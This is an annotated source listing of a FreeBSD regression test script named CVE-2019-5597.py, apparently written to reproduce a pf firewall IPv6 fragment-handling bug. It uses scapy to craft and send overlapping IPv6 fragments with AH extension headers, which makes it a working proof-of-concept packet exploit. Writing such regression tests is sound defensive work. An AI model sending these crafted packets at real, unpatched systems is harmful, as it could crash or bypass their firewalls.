xref: /freebsd/tests/sys/netpfil/pf/CVE-2019-5597.py (revision 65d553b0f055e192b80217632a91833c9f509ccf)
1f0297f12SBjoern A. Zeeb#!/usr/bin/env python
2*65d553b0SKristof Provost#
3*65d553b0SKristof Provost# SPDX-License-Identifier: BSD-2-Clause-FreeBSD
4*65d553b0SKristof Provost#
5*65d553b0SKristof Provost# Copyright (c) 2019 Synacktiv
6*65d553b0SKristof Provost#
7*65d553b0SKristof Provost# Redistribution and use in source and binary forms, with or without
8*65d553b0SKristof Provost# modification, are permitted provided that the following conditions
9*65d553b0SKristof Provost# are met:
10*65d553b0SKristof Provost# 1. Redistributions of source code must retain the above copyright
11*65d553b0SKristof Provost#    notice, this list of conditions and the following disclaimer.
12*65d553b0SKristof Provost# 2. Redistributions in binary form must reproduce the above copyright
13*65d553b0SKristof Provost#    notice, this list of conditions and the following disclaimer in the
14*65d553b0SKristof Provost#    documentation and/or other materials provided with the distribution.
15*65d553b0SKristof Provost#
16*65d553b0SKristof Provost# THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
17*65d553b0SKristof Provost# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
18*65d553b0SKristof Provost# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
19*65d553b0SKristof Provost# ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
20*65d553b0SKristof Provost# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
21*65d553b0SKristof Provost# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
22*65d553b0SKristof Provost# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
23*65d553b0SKristof Provost# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
24*65d553b0SKristof Provost# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
25*65d553b0SKristof Provost# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
26*65d553b0SKristof Provost# SUCH DAMAGE.
2715426769SKristof Provost
2815426769SKristof Provostimport random
2915426769SKristof Provostimport scapy.all as sp
3015426769SKristof Provostimport sys
3115426769SKristof Provost
3215426769SKristof ProvostUDP_PROTO  = 17
3315426769SKristof ProvostAH_PROTO   = 51
3415426769SKristof ProvostFRAG_PROTO = 44
3515426769SKristof Provost
3615426769SKristof Provostdef main():
3715426769SKristof Provost    intf = sys.argv[1]
3815426769SKristof Provost    ipv6_src = sys.argv[2]
3915426769SKristof Provost    ipv6_dst = sys.argv[3]
4015426769SKristof Provost
4115426769SKristof Provost    ipv6_main = sp.IPv6(dst=ipv6_dst, src=ipv6_src)
4215426769SKristof Provost
4315426769SKristof Provost    padding = 8
4415426769SKristof Provost    fid = random.randint(0,100000)
4515426769SKristof Provost    frag_0 = sp.IPv6ExtHdrFragment(id=fid, nh=UDP_PROTO, m=1, offset=0)
46f0297f12SBjoern A. Zeeb    foff_1 = (int)(padding/8)
47f0297f12SBjoern A. Zeeb    frag_1 = sp.IPv6ExtHdrFragment(id=fid, nh=UDP_PROTO, m=0, offset=foff_1)
4815426769SKristof Provost
4915426769SKristof Provost    pkt1_opts = sp.AH(nh=AH_PROTO, payloadlen=200) \
5015426769SKristof Provost            / sp.Raw('XXXX' * 199) \
5115426769SKristof Provost            / sp.AH(nh=FRAG_PROTO, payloadlen=1) \
5215426769SKristof Provost            / frag_1
5315426769SKristof Provost
5415426769SKristof Provost    pkt0 = sp.Ether() / ipv6_main / frag_0 / sp.Raw('A' * padding)
5515426769SKristof Provost    pkt1 = sp.Ether() / ipv6_main / pkt1_opts / sp.Raw('B' * padding)
5615426769SKristof Provost
5715426769SKristof Provost    sp.sendp(pkt0, iface=intf, verbose=False)
5815426769SKristof Provost    sp.sendp(pkt1, iface=intf, verbose=False)
5915426769SKristof Provost
6015426769SKristof Provostif __name__ == '__main__':
6115426769SKristof Provost	main()
62